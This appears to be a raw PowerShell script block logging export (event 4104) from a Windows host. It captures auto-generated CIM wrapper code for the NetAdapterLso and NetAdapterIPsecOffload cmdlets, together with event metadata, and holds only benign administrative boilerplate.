$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterLso.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterLso' -Alias '*'
function Enable-NetAdapterLso
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterLsoSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4')) {
[object]$__cmdletization_value = ${IPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6')) {
[object]$__cmdletization_value = ${IPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
ScriptBlock ID: 402b9c69-56ba-46a0-b15a-4c51aeb6d114
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1855 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-aa28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterLsoSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterLso
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterLsoSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterLso.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterLso' -Alias '*'
function Set-NetAdapterLso
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterLsoSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterLsoSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${V1IPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${IPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${IPv6Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('V1IPv4Enabled')) {
[object]$__cmdletization_value = ${V1IPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'V1IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'V1IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4Enabled')) {
[object]$__cmdletization_value = ${IPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6Enabled')) {
[object]$__cmdletization_value = ${IPv6Enabled}
$__cmdletization_meth
ScriptBlock ID: 402b9c69-56ba-46a0-b15a-4c51aeb6d114
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1854 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-aa28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterIPsecOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterIPsecOffload' -Alias '*'
function Disable-NetAdapterIPsecOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterIPsecOffloadV2SettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
